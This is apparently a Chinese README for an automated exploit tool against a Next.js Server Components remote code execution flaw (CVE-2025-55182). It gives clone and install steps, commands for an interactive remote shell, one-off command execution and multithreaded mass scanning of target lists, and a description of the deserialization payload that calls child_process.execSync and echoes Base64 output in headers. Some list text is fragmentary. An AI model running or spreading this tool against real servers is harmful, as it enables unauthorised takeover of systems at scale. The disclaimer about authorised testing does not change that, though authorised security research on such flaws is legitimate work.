
用于 Next.js RCE(CVE-2025-55182)的自动化概念验证漏洞利用,具备交互式 shell、批量扫描以及高级载荷编码功能,适用于安全研究与授权渗透测试。
这是一个针对 Next.js React Server Components (CVE-2025-55182) 远程代码执行 (RCE) 漏洞的自动化概念验证 (PoC) 工具。
该工具集成了 交互式 Shell、智能协议识别 以及 多线程批量扫描 功能,专为安全研究人员和渗透测试人员设计,旨在快速验证和利用该漏洞。
⚠️ 免责声明:本工具仅供网络安全教育和已获得授权的安全测试使用。严禁将其用于任何未授权的攻击行为。使用者需自行承担因使用本工具而产生的所有法律责任。
192.168.1.1、example.com 或不带协议的 URL)。工具会优先尝试 HTTPS,失败后自动回退到 HTTP。ls -F 或读取非文本文件)。base64 或 tr 命令(完美适配 Alpine/Distroless 等精简容器环境)。克隆仓库:
git clone https://github.com/hualy13/CVE-2025-55182.git
cd CVE-2025-55182
安装依赖:
pip install -r requirements.txt
像连接 SSH 一样连接到目标,支持连续执行命令。
python CVE-2025-55182.py -u [https://target.com/apps] --shell
注意:如果你输入的是 IP (如 127.0.0.1),工具会自动优先尝试 HTTPS 连接。
从文本文件中加载目标列表进行批量检测。
Bash
python CVE-2025-55182.py -f targets.txt -t 20
-f: 目标列表文件路径(每行一个目标)。-t: 扫描线程数(默认为 10)。success.txt 文件中。执行一条命令并退出,适合快速验证。
Bash
python CVE-2025-55182.py -u [https://target.com/apps] -c "id"
支持配置 HTTP/HTTPS 代理(例如联动 Burp Suite 抓包分析)。
Bash
python CVE-2025-55182.py -u [https://target.com/apps] --shell -p [http://127.0.0.1:8080]
targets.txt 文件支持混合格式,工具会自动进行标准化处理:
Plaintext
192.168.1.100 # 自动尝试 [http://192.168.1.100]
10.0.0.5:3000 # 自动尝试 [http://10.0.0.5:3000]
example.com # 优先尝试 [https://example.com],失败后尝试 http://
[https://site.com/apps] # 按原样测试
该漏洞利用了 Next.js Server Actions 中对 Payload 的不安全反序列化处理。本工具构造了一个恶意的 JSON Payload,执行流程如下:
child_process.execSync 调用。try-catch 块包裹执行逻辑,防止因命令不存在或执行错误导致服务器返回 500 崩溃。Buffer 将命令执行结果转换为 Base64 字符串。X-Action-Redirect 或 Location)中回显给攻击者。本仓库提供的工具和信息仅用于安全研究和授权测试。作者对任何因滥用本工具而导致的非法行为或损失概不负责。
在未获得明确授权的情况下,请勿对任何系统进行测试。